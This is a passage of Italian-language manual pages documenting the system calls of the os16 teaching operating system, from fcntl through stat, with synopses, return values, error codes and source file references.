VALORE RESTITUITO

Il significato del valore restituito dalla funzione dipende dal tipo di operazione richiesta, come sintetizzato dalla tabella successiva.

Operazione richiesta	Significato del valore restituito
`F_DUPFD`	Si ottiene il numero del descrittore prodotto dalla copia, oppure −1 in caso di errore.
`F_GETFD`	Si ottiene il valore degli indicatori del descrittore (*fd flags*), oppure −1 in caso di errore.
`F_GETFL`	Si ottiene il valore degli indicatori del file (*fl flags*), oppure −1 in caso di errore.

`F_GETOWN`
`F_SETOWN`
`F_GETLK`
`F_SETLK`
`F_SETLKW`
	Si ottiene −1, in quanto si tratta di operazioni non realizzate in questa versione della funzione, per os16.

altri tipi di operazione	Si ottiene 0 in caso di successo, oppure −1 in caso di errore.

ERRORI

Valore di ***errno***	Significato
`E_NOT_IMPLEMENTED`	È stato richiesto un tipo di operazione che non è disponibile nel caso particolare di os16.
`EINVAL`	È stato richiesto un tipo di operazione non valido.

FILE SORGENTI

'`lib/fcntl.h`' [106.4]

'`lib/fcntl/fcntl.c`' [106.4.2]

VEDERE ANCHE

dup(2) [98.8], *dup2(2)* [98.8], *open(2)* [98.28].

98.14 os16: fork(2)

NOME

'**`fork`**' - sdoppiamento di un processo, ovvero creazione di un processo figlio

SINTASSI

```
#include <unistd.h>
pid_t fork (void);
```

DESCRIZIONE

La funzione ***fork()*** crea una copia del processo in corso, la quale copia diventa un processo figlio del primo. Il processo figlio eredita una copia dei descrittori di file aperti e di conseguenza dei flussi di file e directory.

Il processo genitore riceve dalla funzione il valore del numero PID del processo figlio avviato; il processo figlio si mette a funzionare dal punto in cui si trova la funzione ***fork()***, restituendo però un valore nullo: in questo modo tale processo figlio può riconoscersi come tale.

VALORE RESTITUITO

La funzione restituisce al processo genitore il numero PID del processo figlio; al processo figlio restituisce zero. In caso di problemi, invece, il valore restituito è −1 e la variabile ***errno*** risulta aggiornata di conseguenza.

ERRORI

Valore di ***errno***	Significato
`ENOMEM`	Memoria insufficiente per avviare un altro processo.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/fork.c`' [106.17.17]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_fork.c`' [105.9.23]

VEDERE ANCHE

execve(2) [98.10], *wait(2)* [98.43], *exec(3)* [99.20].

98.15 os16: fstat(2)

Vedere *stat(2)* [98.36].

98.16 os16: getcwd(2)

NOME

'**`getcwd`**' - determinazione della directory corrente

SINTASSI

```
#include <unistd.h>
char *getcwd (char *buffer, size_t size);
```

DESCRIZIONE

La funzione ***getcwd()*** modifica il contenuto dell'area di memoria a cui punta ***buffer***, copiandovi al suo interno la stringa che rappresenta il percorso della directory corrente. La scrittura all'interno di ***buffer*** può prolungarsi al massimo per ***size*** byte, incluso il codice nullo di terminazione delle stringhe.

VALORE RESTITUITO

La funzione restituisce il puntatore alla stringa che rappresenta il percorso della directory corrente, il quale deve coincidere con ***buffer***. In caso di errore, invece, la funzione restituisce il puntatore nullo '**`NULL`**'.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Il puntatore ***buffer*** non è valido.
`E_LIMIT`	Il percorso della directory corrente è troppo lungo, rispetto ai limiti realizzativi di os16.

DIFETTI

La funzione ***getcwd()*** di os16 deve comunicare con il kernel per ottenere l'informazione che le serve, perché la «u-area» (*User area*) è trattenuta all'interno del kernel stesso.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/getcwd.c`' [106.17.18]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

VEDERE ANCHE

chdir(2) [98.3].

98.17 os16: geteuid(2)

Vedere *getuid(2)* [98.18].

98.18 os16: getuid(2)

NOME

'**`getuid`**', '**`geteuid`**' - determinazione dell'identità reale ed efficace

SINTASSI

```
#include <unistd.h>
uid_t getuid  (void);
uid_t geteuid (void);
```

DESCRIZIONE

La funzione ***getuid()*** restituisce il numero corrispondente all'identità reale del processo; la funzione ***geteuid()*** restituisce il numero dell'identità efficace del processo.

VALORE RESTITUITO

Il numero UID, reale o efficace del processo chiamante. Non sono previsti casi di errore.

DIFETTI

Le funzioni ***getuid()*** e ***geteuid()*** di os16 devono comunicare con il kernel per ottenere l'informazione che a loro serve, perché la «u-area» (*User area*) è trattenuta all'interno del kernel stesso.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/getuid.c`' [106.17.24]

'`lib/unistd/geteuid.c`' [106.17.19]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

VEDERE ANCHE

setuid(2) [98.33].

98.19 os16: getpgrp(2)

Vedere *getpid(2)* [98.20].

98.20 os16: getpid(2)

NOME

'**`getpid`**', '**`getppid`**', '**`getpgrp`**' - determinazione del numero del processo o del gruppo di processi

SINTASSI

```
#include <unistd.h>
pid_t getpid  (void);
pid_t getppid (void);
pid_t getpgrp (void);
```

DESCRIZIONE

La funzione ***getpid()*** restituisce il numero del processo chiamante; la funzione ***getppid()*** restituisce il numero del processo genitore rispetto a quello chiamante; la funzione ***getpgrp()*** restituisce il numero attribuito al gruppo di processi a cui appartiene quello chiamante.

VALORE RESTITUITO

Il numero di processo o di gruppo di processi, relativo al contesto della funzione. Non sono previsti casi di errore.

DIFETTI

Le funzioni ***getpid()***, ***getppid()*** e ***getpgrp()*** di os16 devono comunicare con il kernel per ottenere l'informazione che a loro serve, perché la «u-area» (*User area*) è trattenuta all'interno del kernel stesso.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/getpid.c`' [106.17.22]

'`lib/unistd/getppid.c`' [106.17.23]

'`lib/unistd/getpgrp.c`' [106.17.21]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

VEDERE ANCHE

getuid(2) [98.18] *fork(2)* [98.14], *execve(2)* [98.10].

98.21 os16: getppid(2)

Vedere *getpid(2)* [98.20].

98.22 os16: kill(2)

NOME

'**`kill`**' - invio di un segnale a un processo

SINTASSI

```
#include <sys/types.h>
#include <signal.h>
int kill (pid_t pid, int sig)
```

DESCRIZIONE

La funzione ***kill()*** invia il segnale ***sig*** al processo numero ***pid***, oppure a un gruppo di processi. Questa realizzazione particolare di os16 comporta come segue:

- se il valore ***pid*** è maggiore di zero, il segnale viene inviato al processo con il numero ***pid***, ammesso di averne il permesso;
- se il valore ***pid*** è pari a zero, il segnale viene inviato a tutti i processi appartenenti allo stesso utente (quelli che hanno la stessa identità efficace, ovvero il valore ***euid***), ma se il processo che chiama la funzione lavora con un valore di ***euid*** pari a zero, il segnale viene inviato a tutti i processi, a partire dal numero due (si salta '**`init`**');
- valori negativi di ***pid*** non vengono presi in considerazione.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EPERM`	Il processo non ha i permessi per inviare il segnale alla destinazione richiesta.
`ESRCH`	La ricerca del processo ***pid*** è fallita. Nel caso di os16, si ottiene questo errore anche per valori negativi di ***pid***.

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/signal.h`' [106.8]

'`lib/signal/kill.c`' [106.8.1]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_kill.c`' [105.9.24]

VEDERE ANCHE

signal(2) [98.34].

98.23 os16: link(2)

NOME

'**`link`**' - creazione di un collegamento fisico tra un file esistente e un altro nome

SINTASSI

```
#include <unistd.h>
int link (const char *path_old, const char *path_new);
```

DESCRIZIONE

La funzione ***link()*** produce un nuovo collegamento a un file già esistente. Va fornito il percorso del file già esistente, ***path_old*** e quello del file da creare, in qualità di collegamento, ***path_new***. L'operazione può avvenire soltanto se i due percorsi si trovano sulla stessa unità di memorizzazione e se ci sono i permessi di scrittura necessari nella directory di destinazione. Dopo l'operazione di collegamento, fatta in questo modo, non è possibile distinguere quale sia il file originale e quale sia invece il nome aggiunto.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EEXIST`	Il nome da creare esiste già.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Il file system consente soltanto un accesso in lettura.
`ENOTDIR`	Uno dei due percorsi non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.

FILE SORGENTI

‘`lib/unistd.h`’ [106.17]

‘`lib/unistd/link.c`’ [106.17.26]

‘`lib/sys/os16/sys.s`’ [106.12.15]

‘`kernel/proc/_isr.s`’ [105.9.1]

‘`kernel/proc/sysroutine.c`’ [105.9.30]

‘`kernel/fs/path_link.c`’ [105.4.40]

VEDERE ANCHE

ln(1) [97.11] *open(2)* [98.28], *stat(2)* [98.36], *unlink(2)* [98.42].

98.24 os16: lseek(2)

NOME

‘**`lseek`**’ - riposizionamento dell’indice di accesso a un descrittore di file

SINTASSI

```
#include <unistd.h>
off_t lseek (int fdn, off_t offset, int whence);
```

DESCRIZIONE

La funzione ***lseek()*** consente di riposizionare l’indice di accesso interno al descrittore di file ***fdn***. Per fare questo occorre prima determinare un punto di riferimento, rappresentato dal parametro ***whence***, dove va usata una macro-variabile definita nel file ‘`unistd.h`’. Può trattarsi dei casi seguenti.

Valore di ***whence***	Significato
`SEEK_SET`	Lo scostamento si riferisce all'inizio del file.
`SEEK_CUR`	Lo scostamento si riferisce alla posizione che ha già l'indice interno al file.
`SEEK_END`	Lo scostamento si riferisce alla fine del file.

Lo scostamento indicato dal parametro ***offset*** si applica a partire dalla posizione a cui si riferisce ***whence***, pertanto può avere segno positivo o negativo, ma in ogni caso non è possibile collocare l'indice prima dell'inizio del file.

VALORE RESTITUITO

Se l'operazione avviene con successo, la funzione restituisce il valore dell'indice riposizionato, preso come scostamento a partire dall'inizio del file. In caso di errore, restituisce invece il valore -1, aggiornando di conseguenza anche la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il numero del descrittore di file non è valido.
`EINVAL`	Il valore di ***whence*** non è contemplato, oppure la combinazione tra ***whence*** e ***offset*** non è valida.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/lseek.c`' [106.17.27]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/fd_lseek.c`' [105.4.7]

VEDERE ANCHE

dup(2) [98.8] *fork(2)* [98.14], *open(2)* [98.28], *fseek(3)* [99.43].

98.25 os16: mkdir(2)

NOME

'**`mkdir`**' - creazione di una directory

SINTASSI

```
#include <sys/stat.h>
int mkdir (const char *path, mode_t mode);
```

DESCRIZIONE

La funzione ***mkdir()*** crea una directory, indicata attraverso un percorso, nel parametro ***path***, specificando la modalità dei permessi, con il parametro ***mode***.

Tuttavia, il valore del parametro ***mode*** non viene preso in considerazione integralmente: di questo si considerano solo gli ultimi nove bit, ovvero quelli dei permessi di utenti, gruppi e altri utenti; inoltre, vengono tolti i bit presenti nella maschera dei permessi associata al processo (si veda anche *umask(2)* [98.40]).

La directory che viene creata in questo modo, appartiene all'identità efficace del processo, ovvero all'utente per conto del quale questo sta funzionando.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
-1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il percorso indicato non è valido.
`EEXIST`	Esiste già un file o una directory con lo stesso nome.
`ENOTDIR`	Una porzione del percorso della directory da creare, non è una directory.
`ENOENT`	Una porzione del percorso della directory da creare non esiste.
`EACCES`	Permesso negato.

FILE SORGENTI

'`lib/sys/stat.h`' [106.13]

'`lib/sys/stat/mkdir.c`' [106.13.4]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/path_mkdir.c`' [105.4.41]

VEDERE ANCHE

mkdir(1) [97.15], *chmod(2)* [98.4], *chown(2)* [98.5], *mknod(2)* [98.26], *mount(2)* [98.27], *stat(2)* [98.36], *umask(2)* [98.40], *unlink(2)* [98.42].

98.26 os16: mknod(2)

«

NOME

'**mknod**' - creazione di un file vuoto di qualunque tipo

SINTASSI

```
#include <sys/stat.h>
int mknod (const char *path, mode_t mode, dev_t device);
```

DESCRIZIONE

La funzione ***mknod()*** crea un file vuoto, di qualunque tipo. Potenzialmente può creare anche una directory, ma priva di qualunque voce, rendendola così non adeguata al suo scopo (una directory richiede almeno le voci '`.`' e '`..`', per potersi considerare tale).

Il parametro ***path*** specifica il percorso del file da creare; il parametro ***mode*** serve a indicare il tipo di file da creare, oltre ai permessi comuni.

Il parametro ***device***, con il quale va indicato il numero di un dispositivo (completo di numero primario e secondario), viene preso in considerazione soltanto se nel parametro ***mode*** si richiede la creazione di un file di dispositivo a caratteri o a blocchi.

Il valore del parametro ***mode*** va costruito combinando assieme delle macro-variabili definite nel file '`sys/stat.h`', come descritto nella pagina di manuale *stat(2)* [98.36], tenendo conto che os16 non può gestire file FIFO, collegamenti simbolici e socket di dominio Unix.

Il valore del parametro ***mode***, per la porzione che riguarda i permessi di accesso al file, viene comunque filtrato con la maschera dei permessi (*umask(2)* [98.36]).

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il percorso indicato non è valido.
`EEXIST`	Esiste già un file o una directory con lo stesso nome.
`ENOTDIR`	Una porzione del percorso del file da creare, non è una directory.
`ENOENT`	Una porzione del percorso del file da creare non esiste.
`EACCES`	Permesso negato.

FILE SORGENTI

'`lib/sys/stat.h`' [106.13]

'`lib/sys/stat/mknod.c`' [106.13.5]

'lib/sys/os16/sys.s' [106.12.15]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/fs/path_mknod.c' [105.4.42]

VEDERE ANCHE

mkdir(2) [98.25], *chmod(2)* [98.4], *chown(2)* [98.5], *fcntl(2)* [98.13], *stat(2)* [98.36], *umask(2)* [98.40], *unlink(2)* [98.42].

98.27 os16: mount(2)

NOME

'**mount**', '**umount**' - innesto e distacco di unità di memorizzazione

SINTASSI

```
#include <sys/os16.h>
int mount  (const char *path_dev, const char *path_mnt, int options);
int umount (const char *path_mnt);
```

DESCRIZIONE

La funzione ***mount()*** permette l'innesto di un'unità di memorizzazione individuata attraverso il percorso del file di dispositivo nel parametro ***path_dev***, nella directory corrispondente al percorso ***path_mnt***, con le opzioni indicate numericamente nell'ultimo argomento ***options***. Le opzioni di innesto, rappresentate attraverso delle macro-variabili, sono solo due:

Opzione	Descrizione
`MOUNT_DEFAULT`	Innesto normale, in lettura e scrittura.
`MOUNT_RO`	Innesto in sola lettura.

La funzione ***umount()*** consente di staccare un innesto fatto precedentemente, specificando il percorso della directory in cui questo è avvenuto.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore: va verificato il contenuto della variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EPERM`	Problema di accesso dovuto alla mancanza dei permessi necessari.
`ENOTDIR`	Ciò che dovrebbe essere una directory, non lo è.
`EBUSY`	La directory innesta già un file system e non può innestarne un altro.
`ENOENT`	La directory non esiste.
`E_NOT_MOUNTED`	La directory non innesta un file system da staccare.
`EUNKNOWN`	Si è verificato un problema non previsto e sconosciuto.

FILE SORGENTI

‘`lib/sys/os16.h`’ [106.12]

‘`lib/sys/os16/mount.c`’ [106.12.12]

‘`lib/sys/os16/umount.c`’ [106.12.16]

‘`lib/sys/os16/sys.s`’ [106.12.15]

‘`kernel/proc/_isr.s`’ [105.9.1]

‘`kernel/proc/sysroutine.c`’ [105.9.30]

‘`kernel/fs/path_mount.c`’ [105.4.43]

‘`kernel/fs/path_umount.c`’ [105.4.45]

VEDERE ANCHE

mount(8) [103.4], *umount(8)* [103.4].

98.28 os16: open(2)

NOME

‘**`open`**’ - apertura di un file puro e semplice oppure di un file di dispositivo

SINTASSI

```
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open (const char *path, int oflags);
int open (const char *path, int oflags, mode_t mode);
```

DESCRIZIONE

La funzione ***open()*** apre un file, indicato attraverso il percorso ***path***, in base alle opzioni rappresentate dagli indicatori ***oflags***. A seconda del tipo di indicatori specificati, potrebbe essere richiesto il parametro ***mode***.

Quando la funzione porta a termine correttamente il proprio compito, restituisce il numero del descrittore del file associato, il quale è sempre quello di valore più basso disponibile per il processo elaborativo in corso.

Il descrittore di file ottenuto inizialmente con la funzione ***open()***, è legato al processo elaborativo in corso; tuttavia, se successivamente il processo si sdoppia attraverso la funzione ***fork()***, tale descrittore, se ancora aperto, viene duplicato nella nuova copia del processo. Inoltre, se per il descrittore aperto non viene impostato l'indicatore '**FD_CLOEXEC**' (con l'ausilio della funzione ***fcntl()***), se il processo viene rimpiazzato con la funzione ***execve()***, il descrittore aperto viene ereditato dal nuovo processo.

Il parametro ***oflags*** richiede necessariamente la specificazione della modalità di accesso, attraverso la combinazione appropriata dei valori: '**O_RDONLY**', '**O_WRONLY**', '**O_RDWR**'. Inoltre, si possono combinare altri indicatori: '**O_CREAT**', '**O_TRUNC**', '**O_APPEND**'.

Opzione	Descrizione
O_RDONLY	Richiede un accesso in lettura.
O_WRONLY	Richiede un accesso in scrittura.
O_RDWR O_RDONLY|O_WRONLY	Richiede un accesso in lettura e scrittura (la combinazione di '**R_RDONLY**' e di '**O_WRONLY**' è equivalente all'uso di '**O_RDWR**').
O_CREAT	Richiede di creare contestualmente il file, ma in tal caso va usato anche il parametro ***mode***.
O_TRUNC	Se file da aprire esiste già, richiede che questo sia ridotto preventivamente a un file vuoto.
O_APPEND	Fa in modo che le operazioni di scrittura avvengano sempre partendo dalla fine del file.

Quando si utilizza l'opzione '**O_CREAT**', è necessario stabilire la modalità dei permessi, cosa che va fatta preferibilmente attraverso la combinazione di costanti simboliche appropriate, come elencato nella tabella successiva. Tale combinazione va fatta con l'uso dell'operatore OR binario; per esempio: '**S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH**'. Va osservato che os16 non gestisce i gruppi di utenti, pertanto, la definizione dei permessi relativi agli utenti appartenenti al gruppo proprietario di un file, non ha poi effetti pratici nel controllo degli accessi per tale tipo di contesto.

Modalità simbolica	Modalità numerica	Descrizione
S_IRWXU	00700_8	Lettura, scrittura ed esecuzione per l'utente proprietario.
S_IRUSR	00400_8	Lettura per l'utente proprietario.
S_IWUSR	00200_8	Scrittura per l'utente proprietario.
S_IXUSR	00100_8	Esecuzione per l'utente proprietario.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXG`	00070_8	Lettura, scrittura ed esecuzione per il gruppo.
`S_IRGRP`	00040_8	Lettura per il gruppo.
`S_IWGRP`	00020_8	Scrittura per il gruppo.
`S_IXGRP`	00010_8	Esecuzione per il gruppo.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXO`	00007_8	Lettura, scrittura ed esecuzione per gli altri utenti.
`S_IROTH`	00004_8	Lettura per gli altri utenti.
`S_IWOTH`	00002_8	Scrittura per gli altri utenti.
`S_IXOTH`	00001_8	Esecuzione per gli altri utenti.

VALORE RESTITUITO

La funzione restituisce il numero del descrittore del file aperto, se l'operazione ha avuto successo, altrimenti dà semplicemente -1, impostando di conseguenza il valore della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione non consentita.
`EEXIST`	Il file da creare esiste già.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Avendo richiesto un accesso in scrittura, si ottiene che il file system che lo contiene consente soltanto un accesso in lettura.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/sys/stat.h`' [106.13]

'`lib/fcntl.h`' [106.4]

'lib/fcntl/open.c' [106.4.3]

VEDERE ANCHE

chmod(2) [98.4], *chown(2)* [98.5], *close(2)* [98.7], *dup(2)* [98.8], *fcntl(2)* [98.13], *link(2)* [98.24], *mknod(2)* [98.26], *mount(2)* [98.27], *read(2)* [98.29], *stat(2)* [98.36], *umask(2)* [98.40], *unlink(2)* [98.42], *write(2)* [98.44], *fopen(3)* [99.35].

98.29 os16: read(2)

NOME

'**read**' - lettura di descrittore di file

SINTASSI

```
#include <unistd.h>
ssize_t read (int fdn, void *buffer, size_t count);
```

DESCRIZIONE

La funzione ***read()*** cerca di leggere il file rappresentato dal descrittore ***fdn***, partendo dalla posizione in cui si trova l'indice interno di accesso, per un massimo di ***count*** byte, collocando i dati letti in memoria a partire dal puntatore ***buffer***. L'indice interno al file viene fatto avanzare della quantità di byte letti effettivamente, se invece si incontra la fine del file, viene aggiornato l'indicatore interno per segnalare tale fatto.

VALORE RESTITUITO

La funzione restituisce la quantità di byte letti effettivamente, oppure zero se è stata raggiunta la fine del file e non si può proseguire oltre. Va osservato che la lettura effettiva di una quantità inferiore di byte rispetto a quanto richiesto non costituisce un errore: in quel caso i byte mancanti vanno richiesti con successive operazioni di lettura. In caso di errore, la funzione restituisce il valore -1, aggiornando contestualmente la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il numero del descrittore di file non è valido.
`EINVAL`	Il file non è aperto in lettura.
`E_FILE_TYPE_UNSUPPORTED`	Il file è di tipo non gestibile con os16.

FILE SORGENTI

'lib/unistd.h' [106.17]

'lib/unistd/read.c' [106.17.28]

'lib/sys/os16/sys.s' [106.12.15]

'kernel/fs/fd_read.c' [105.4.9]

VEDERE ANCHE

close(2) [98.7] *open(2)* [98.28], *write(2)* [98.44].

98.30 os16: rmdir(2)

NOME

'`rmdir`' - eliminazione di una directory vuota

SINTASSI

```
#include <unistd.h>
int rmdir (const char *path);
```

DESCRIZIONE

La funzione ***rmdir()*** cancella la directory indicata come percorso, nella stringa ***path***, purché sia vuota.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il percorso ***path*** non è valido o è semplicemente un puntatore nullo.
`ENOTDIR`	Il nome indicato o le posizioni intermedie del percorso si riferiscono a qualcosa che non è una directory.
`ENOTEMPTY`	La directory che si vorrebbe cancellare non è vuota.
`EROFS`	La directory si trova in un'unità innestata in sola lettura.
`EPERM`	Mancano i permessi necessari per eseguire l'operazione.
`EUNKNOWN`	Si è verificato un errore imprevisto e sconosciuto.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/rmdir.c`' [106.17.29]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/fs/path_unlink.c`' [105.4.46]

VEDERE ANCHE

mkdir(2) [98.25], *unlink(2)* [98.42].

98.31 os16: seteuid(2)

Vedere *setuid(2)* [98.33].

98.32 os16: setpgrp(2)

NOME

'**setpgrp**' - impostazione del gruppo a cui appartiene il processo

SINTASSI

```
#include <unistd.h>
int setpgrp (void);
```

DESCRIZIONE

La funzione ***setpgrp()*** fa sì che il processo in corso costituisca un proprio gruppo autonomo, corrispondente al proprio numero PID. In altri termini, la funzione serve per iniziare un nuovo gruppo di processi, a cui i processi figli creati successivamente vengano associati in modo predefinito.

VALORE RESTITUITO

La funzione termina sempre con successo e restituisce sempre zero.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/setpgrp.c`' [106.17.31]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

VEDERE ANCHE

getpgrp(2) [98.32], *getuid(2)* [98.33].

98.33 os16: setuid(2)

NOME

'**setuid**', '**seteuid**' - impostazione dell'identità dell'utente

SINTASSI

```
#include <unistd.h>
int setuid  (uid_t uid);
int seteuid (uid_t uid);
```

DESCRIZIONE

A ogni processo viene attribuita l'identità di un utente, rappresentata da un numero, noto come UID, ovvero *user identity*. Tuttavia si distinguono tre tipi di numeri UID: l'identità reale, l'identità efficace e un'identità salvata in precedenza. L'identità efficace (EUID) è quella con cui opera sostanzialmente il processo; l'identità salvata è quella che ha avuto il processo in un altro momento in qualità di identità efficace e che per qualche motivo non ha più.

La funzione ***setuid()*** riceve come argomento un numero UID e si comporta diversamente a seconda della personalità del processo, come descritto nell'elenco successivo:

- se l'identità efficace del processo corrisponde a zero, trattandosi di un caso particolarmente privilegiato, tutte le identità del processo (reale, efficace e salvata) vengono inizializzate con il valore fornito alla funzione ***setuid()***;
- se l'identità efficace del processo corrisponde a quella fornita come argomento a ***setuid()***, nulla cambia nella gestione delle identità del processo;
- se l'identità reale o quella salvata in precedenza corrispondono a quella fornita come argomento di ***setuid()***, viene aggiornato il valore dell'identità efficace, senza cambiare le altre;
- in tutti gli altri casi, l'operazione non è consentita e si ottiene un errore.

La funzione ***seteuid()*** riceve come argomento un numero UID e imposta con tale valore l'identità efficace del processo, purché si verifichi almeno una delle condizioni seguenti:

- l'identità efficace del processo è zero;
- l'identità reale o quella salvata del processo corrisponde all'identità efficace che si vuole impostare;
- l'identità efficace del processo corrisponde già all'identità efficace che si vuole impostare.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EPERM`	Non si dispone dei permessi necessari a eseguire il cambiamento di identità.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/setuid.c`' [106.17.32]

'`lib/unistd/seteuid.c`' [106.17.30]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

VEDERE ANCHE

getuid(2) [98.33].

98.34 os16: signal(2)

NOME

'**signal**' - abilitazione e disabilitazione dei segnali

SINTASSI

```
#include <signal.h>
sighandler_t signal (int sig, sighandler_t handler);
```

DESCRIZIONE

La funzione ***signal()*** di os16 consente soltanto di abilitare o disabilitare un segnale, il quale, se abilitato, può essere gestito solo in modo predefinito dal sistema. Pertanto, il valore che può assumere ***handler*** sono solo: '**SIG_DFL**' (gestione predefinita) e '**SIG_IGN**' (ignora il segnale). Il primo parametro, ***sig***, rappresenta il segnale a cui applicare ***handler***.

Il tipo '**sighandler_t**' è definito nel file 'signal.h', nel modo seguente:

```
typedef void (*sighandler_t) (int);
```

Rappresenta il puntatore a una funzione avente un solo parametro di tipo '**int**', la quale non restituisce alcunché.

VALORE RESTITUITO

La funzione restituisce il tipo di «gestione» impostata precedentemente per il segnale richiesto, ovvero '**SIG_ERR**' in caso di errore.

ERRORI

Valore di ***errno***	Significato
EINVAL	Il numero ***sig*** o il valore di ***handler*** non sono validi.

NOTE

Lo scopo della funzione ***signal()*** dovrebbe essere quello di consentire l'associazione di un evento, manifestato da un segnale, all'esecuzione di un'altra funzione, avente una forma del tipo '***nome* (int)**'. os16 non consente tale gestione, pertanto lascia soltanto la possibilità di attribuire un comportamento predefinito al segnale scelto, oppure di disabilitarlo, ammesso che ciò sia consentito. Sotto questo aspetto, il fatto di dover gestire i valori '**SIG_ERR**', '**SIG_DFL**' e '**SIG_IGN**', come se fossero puntatori a una funzione, diventa superfluo, ma rimane utile soltanto per mantenere un minimo di conformità con quello che è lo standard della funzione ***signal()***.

FILE SORGENTI

'lib/signal.h' [106.8]

'lib/signal/signal.c' [106.8.2]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/proc/proc_sys_signal.c' [105.9.27]

VEDERE ANCHE

kill(2) [98.22].

98.35 os16: sleep(2)

NOME

'**sleep**' - pausa volontaria del processo chiamante

SINTASSI

```
#include <unistd.h>
unsigned int sleep (unsigned int seconds);
```

DESCRIZIONE

La funzione ***sleep()*** chiede di mettere a riposo il processo chiamante per la quantità di secondi indicata come argomento. Il processo può però essere risvegliato prima della conclusione di tale durata, ma in tal caso la funzione restituisce la quantità di secondi che non sono stati usati per il «riposo» del processo.

VALORE RESTITUITO

La funzione restituisce zero se la pausa richiesta è trascorsa completamente; altrimenti, restituisce quanti secondi mancano ancora per completare il tempo di riposo chiesto originariamente. Non si prevede il manifestarsi di errori.

FILE SORGENTI

'lib/unistd.h' [106.17]

'lib/unistd/sleep.c' [106.17.33]

'lib/sys/os16/sys.s' [106.12.15]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

VEDERE ANCHE

signal(2) [98.34].

98.36 os16: stat(2)

NOME

'`stat`', '`fstat`' - interrogazione dello stato di un file

SINTASSI

```
#include <sys/stat.h>
int stat  (const char *path, struct stat *buffer);
int fstat (int fdn, struct stat *buffer);
```

DESCRIZIONE

Le funzioni ***stat()*** e ***fstat()*** interrogano il sistema su di un file, per ottenerne le caratteristiche in forma di variabile strutturata di tipo '`struct stat`'.

